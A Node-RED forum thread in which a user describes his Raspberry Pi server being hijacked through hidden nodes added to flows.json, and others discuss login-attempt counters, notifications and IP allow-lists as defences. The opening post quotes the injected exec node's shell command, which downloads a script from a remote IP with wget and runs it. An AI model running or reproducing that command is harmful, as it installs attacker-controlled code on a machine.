Hello Everyone My nodered server has been hacked, by adding some invisible nodes to my flows.json while I was working on it. I detected it because of a nodered message stating that some nodes where changed without ay action from me. Looked like someone edited another instance of the flows.json file. Consequence was that server (a RPi) was damaged and had to reformat and resintall everything. Well, of course I might have made some mistakes in securing my server to allow that, but as my knowledge in security is limited I just wanted to share this (bad) experience. My point is also trying to understand where could have been the breach, maybe with your help. My server was secured by https and password. It's working beyond 2 routers, and on each router port forwarding was open. So may be something comes from here. But when I modifiy the flows I always make a backup of the existing file before any modification. So I was able to dig in those backup file to find a trace of these corrupted nodes, and (coincidentally?) corruption started once I installed a discord node to send some notifications. Before installing that node, no trace of these nodes. Here are some of the invisible nodes added: Flow runs exec node with command "cd /tmp; rm -rf bins.sh; wget http://91.92.249.32/bins/bins.sh; chmod +x bins.sh; sh bins.sh", [Edited by admin (E1Cid) to remove the risk of someone importing and running flow] Any idea where could have been the breach. Do you think this could be related to the discord node? Thanks for your help, Michael.

[image] jbudd: count by a notification on the editor once successfully logged in Nice idea but what is the call to action if I see this message? Is there a log with IPs and even then, it's the past so I can't know whether those IPs will come again. A message like this is more confusing than useful - IMHO - since there is nothing I can do except click it away. Perhaps something along the lines of "XY IPs have been blocked because of repeated login attempts. You can review these IPs here ." That would a) prevent tragedy b) give me something to do c) make me feel safe!

[image] gregorius: A message like this is more confusing than useful - IMHO - since there is nothing I can do except click it away. You could also investigate as to what was connecting to your device. The message itself is a call to do something, whether you or others do is entirely in your or their hands.

[image] dceejay: Obviously there could be more - as per blocklists allowlists etc - but ideas on making those easy to setup much appreciated. What about a restriction on the local network (192.168.1.1/24) - the script can get the IP address and ask the user if it is correct? I fear that the idea of Jbudd will come too late - that the attack was successful before the notification

I was just thinking - at the moment - of counting bad password submissions, not really connected to blocking outside attackers. It could be my bad keyboard skills, someone else in the office trying to share my work or aliens from the internet. Not actually sure how NR could maintain a count (over reboot/restarts), never mind a list of IPs.

[image] GogoVega: I fear that the idea of Jbudd will come too late I suppose I am imagining a NR installation with username "admin" and password "Tr0ub4dor&3" where port 1880 is forwarded. A bot quickly spots Node-red is there and sets about login attempts. In this situation one might expect several failed login attempts before they are in and the damage is done. This is the window during which Node-red could call attention to the rising count.

I know, but doing it during the NR installation would be more beneficial because very few people will do it before having pain.

[image] E1cid: The message itself is a call to do something, What? There is a message and I don't know what to do ... but I have to do something. If I was a newbie and saw that message, what would I do? Probably come here and ask ... That shouldn't be the point of the message.

If you don't know, then you ask, or play stupid your choice.

[image] jbudd: Not actually sure how NR could maintain a count (over reboot/restarts), never mind a list of IPs. Create a flow, use the flow context to store the IPs and block as seen fit. Using a http-in node as the entry point and bob's your uncle! My blog is one http-in node and many little switch nodes that direct the traffic, completely doable.

Node-RED

Node-RED Forum

Nodered hacked by adding invisible nodes

General

E1cid 6 January 2024 13:19 116

This has been offered here How to 'whitelist' IP address's that can access Node RED

Topic		Replies	Views
Dashboard suddenly asks for password (Hacked Node-RED servers) General security	127	5056	4 November 2022
Node Red starts mining Monero coins without my consent! General security	34	571	28 July 2025
Have I been hacked? General security	61	1689	3 November 2023
The password/security settings article mentioned on the page General	49	6136	17 February 2019
Configuring Public Node-RED Server on RPi General	28	1908	9 July 2020

Copyright OpenJS Foundation and Node-RED contributors. All rights reserved. The OpenJS Foundation has registered trademarks and uses trademarks. For a list of trademarks of the OpenJS Foundation, please see our Trademark Policy and Trademark List. Trademarks and logos not indicated on the list of OpenJS Foundation trademarks are trademarks™ or registered® trademarks of their respective holders. Use of them does not imply any affiliation with or endorsement by them.

Nodered hacked by adding invisible nodes

Related topics